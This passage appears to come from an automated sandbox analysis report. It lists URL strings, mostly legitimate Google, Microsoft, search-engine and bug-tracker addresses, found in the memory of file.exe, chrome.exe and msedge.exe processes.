00000003.00000002.2368446458.0000716C0257F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2269479781.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chrome.exe, 00000003.00000002.2437813751.0000716C02B14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://safebrowsing.googleusercontent.com/safebrowsing/clientreport/chrome-certs
Source: chrome.exe, 00000003.00000002.2438463901.0000716C02BF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://unisolated.invalid/
Source: chrome.exe, 00000003.00000002.2438815770.0000716C02C34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.gstatic.com/generate_204
Source: file.exe, file.exe, 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2690666396.000000001DCA4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699839005.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000002.2694857353.0000000023C20000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2434650320.0000716C029C8000.00000004.00000800.00020000.00000000.sdmp, AKJDGIEH.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chrome.exe, 00000003.00000002.2366692051.0000716C0240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/
Source: chrome.exe, 00000003.00000002.2364872279.0000716C0228C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/v1/accountcapabilities:batchGet
Source: chrome.exe, 00000003.00000002.2434017572.0000716C02944000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2369071446.0000716C025E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2369627088.0000716C0269C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com
Source: chrome.exe, 00000003.00000002.2441192414.0000716C02E48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2364466056.0000716C0221C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/
Source: chrome.exe, 00000003.00000002.2365872335.0000716C023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/AddSession
Source: chrome.exe, 00000003.00000002.2366692051.0000716C0240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/GetCheckConnectionInfo
Source: chrome.exe, 00000003.00000002.2366692051.0000716C0240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ListAccounts?json=standard
Source: chrome.exe, 00000003.00000002.2365872335.0000716C023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/Logout
Source: chrome.exe, 00000003.00000002.2365872335.0000716C023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/MergeSession
Source: chrome.exe, 00000003.00000002.2365872335.0000716C023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/OAuthLogin
Source: chrome.exe, 00000003.00000002.2366692051.0000716C0240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/RotateBoundCookies
Source: chrome.exe, 00000003.00000003.2290709845.0000716C02518000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport
Source: chrome.exe, 00000003.00000003.2290709845.0000716C02518000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport/allowlist
Source: chrome.exe, 00000003.00000002.2366692051.0000716C0240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/chrome/blank.html
Source: chrome.exe, 00000003.00000002.2366692051.0000716C0240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/chrome/blank.htmlB
Source: chrome.exe, 00000003.00000002.2366692051.0000716C0240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/reauth/chromeos
Source: chrome.exe, 00000003.00000002.2364961205.0000716C022A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/chrome/usermenu
Source: chrome.exe, 00000003.00000002.2364961205.0000716C022A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignin/chromeos
Source: chrome.exe, 00000003.00000002.2364961205.0000716C022A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignup/chromeos
Source: chrome.exe, 00000003.00000002.2366692051.0000716C0240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/v2/chromeos
Source: chrome.exe, 00000003.00000002.2366692051.0000716C0240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/windows
Source: chrome.exe, 00000003.00000002.2366692051.0000716C0240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/xreauth/chrome
Source: chrome.exe, 00000003.00000002.2366692051.0000716C0240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop
Source: chrome.exe, 00000003.00000002.2364872279.0000716C0228C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop?kdi=CAIaDgoKY2hyb21lc3luYxAB
Source: chrome.exe, 00000003.00000002.2366692051.0000716C0240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/o/oauth2/revoke
Source: chrome.exe, 00000003.00000002.2366692051.0000716C0240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/oauth/multilogin
Source: chrome.exe, 00000003.00000002.2366692051.0000716C0240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/signin/chrome/sync?ssp=1
Source: chrome.exe, 00000003.00000002.2365872335.0000716C023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com:443
Source: chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.comlq
Source: chrome.exe, 00000003.00000003.2294697631.0000716C0360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aida.googleapis.com/v1/aida:doConversation2
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4830
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4966
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/5845
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/6574
Source: chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/6574A
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7161
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7162
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7246
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7308
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7319
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7320
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369
Source: chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369E
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7382
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7489
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7604
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7714
Source: chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7714~
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7847
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7899
Source: chrome.exe, 00000003.00000003.2291634885.0000716C034DC000.00000004.00000800.00020000.00000000.sdmp, chromecache_446.5.dr	String found in binary or memory: https://apis.google.com
Source: chrome.exe, 00000003.00000002.2364770737.0000716C02270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes
Source: msedge.exe, 00000007.00000002.2456457503.00000280B018E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: file.exe, 00000000.00000003.2524968649.000000001DBAB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2524855173.000000001DBAB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2526405097.000000001DBB0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2591137748.000000001DBB0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2601465031.000000001DBB1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2525766385.000000001DBAC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2690539449.000000001DBB2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2525027955.000000001DBAC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2526559818.000000001DBB0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2525921756.000000001DBAC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2690327347.000000001DB8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2511072073.000000001DBAB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2601344073.000000001DBB0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2590865854.000000001DBB0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2526305468.000000001DBB0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2601201015.000000001DBB0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2526063234.000000001DBAD000.00000004.00000020.00020000.00000000.sdmp, json[1].json0.0.dr	String found in binary or memory: https://assets.msn.com/statics/icons/favicon_newtabpage.png
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2694857353.0000000023CEA000.00000004.00000020.00020000.00000000.sdmp, JEGHJDGIJECGDHJJECGH.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2694857353.0000000023CEA000.00000004.00000020.00020000.00000000.sdmp, JEGHJDGIJECGDHJJECGH.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://c.msn.com/
Source: chrome.exe, 00000003.00000002.2371631544.0000716C02704000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2433948066.0000716C02928000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2458217336.0000716C03164000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://calendar.google.com/calendar/u/0/r/eventedit?usp=chrome_actions
Source: chrome.exe, 00000003.00000002.2441446792.0000716C02E88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.ico
Source: AKJDGIEH.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: chrome.exe, 00000003.00000003.2320867661.0000716C02E60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441254268.0000716C02E64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.ico
Source: chrome.exe, 00000003.00000003.2320867661.0000716C02E60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441254268.0000716C02E64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icofrom_play_api
Source: file.exe, 00000000.00000002.2694857353.0000000023C20000.00000004.00000020.00020000.00000000.sdmp, AKJDGIEH.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: chrome.exe, 00000003.00000003.2320867661.0000716C02E60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441254268.0000716C02E64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search
Source: chrome.exe, 00000003.00000003.2320867661.0000716C02E60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441254268.0000716C02E64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search?ei=&fr=crmas&p=
Source: chrome.exe, 00000003.00000003.2320867661.0000716C02E60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441254268.0000716C02E64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search?ei=&fr=crmas&p=searchTerms
Source: file.exe, 00000000.00000002.2694857353.0000000023C20000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2437813751.0000716C02B14000.00000004.00000800.00020000.00000000.sdmp, AKJDGIEH.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 00000003.00000003.2262572909.0000716C02EFC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000002.2462077156.00000E200018C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: chrome.exe, 00000003.00000002.2433277176.0000716C028AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore206E5
Source: chrome.exe, 00000003.00000002.2366692051.0000716C0240C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2438268411.0000716C02BA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2461491658.0000716C033F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2438815770.0000716C02C34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: chrome.exe, 00000003.00000003.2262493270.0000716C0268C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2267261483.0000716C03118000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2270490464.0000716C0268C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2264824103.0000716C02EFC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2270696368.0000716C03118000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2270359993.0000716C02518000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2264748316.0000716C0268C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262572909.0000716C02EFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreLDDiscover
Source: chrome.exe, 00000003.00000002.2362727896.000041080078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/
Source: chrome.exe, 00000003.00000003.2294697631.0000716C0360C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2247313729.000041080039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2247130128.0000410800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 00000003.00000002.2362727896.000041080078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/
Source: chrome.exe, 00000003.00000003.2294697631.0000716C0360C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2247313729.000041080039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2247130128.0000410800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 00000003.00000002.2362727896.000041080078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/KAnonymityServiceJoinRelayServerhttps://chromekanonym
Source: chrome.exe, 00000003.00000003.2247524241.0000410800684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2362727896.000041080078C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2297379436.0000716C0378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000003.00000003.2294697631.0000716C0360C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2247313729.000041080039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2247130128.0000410800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: chrome.exe, 00000003.00000002.2366692051.0000716C0240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/events
Source: chrome.exe, 00000003.00000002.2366692051.0000716C0240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/record
Source: chrome.exe, 00000003.00000002.2364466056.0000716C0221C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000002.2462077156.00000E200018C000.00000004.00000800.00020000.00000000.sdmp, manifest.json.8.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: chrome.exe, 00000003.00000002.2458189061.0000716C03144000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromium-i18n.appspot.com/ssl-aggregate-address/
Source: chrome.exe, 00000003.00000002.2365872335.0000716C023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/
Source: chrome.exe, 00000003.00000002.2365872335.0000716C023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/g
Source: chrome.exe, 00000003.00000003.2243788862.00006E3C002E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2243774028.00006E3C002D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 00000003.00000002.2366986505.0000716C02490000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2320867661.0000716C02E60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2364466056.0000716C0221C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2433277176.0000716C028AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251084569.0000716C026B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2365872335.0000716C023C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441254268.0000716C02E64000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000002.2458258266.00000E2000020000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: chrome.exe, 00000003.00000002.2437813751.0000716C02B14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collection-images?rt=b
Source: chrome.exe, 00000003.00000002.2437813751.0000716C02B14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collection-images?rt=bql
Source: chrome.exe, 00000003.00000002.2437813751.0000716C02B14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collections?rt=b
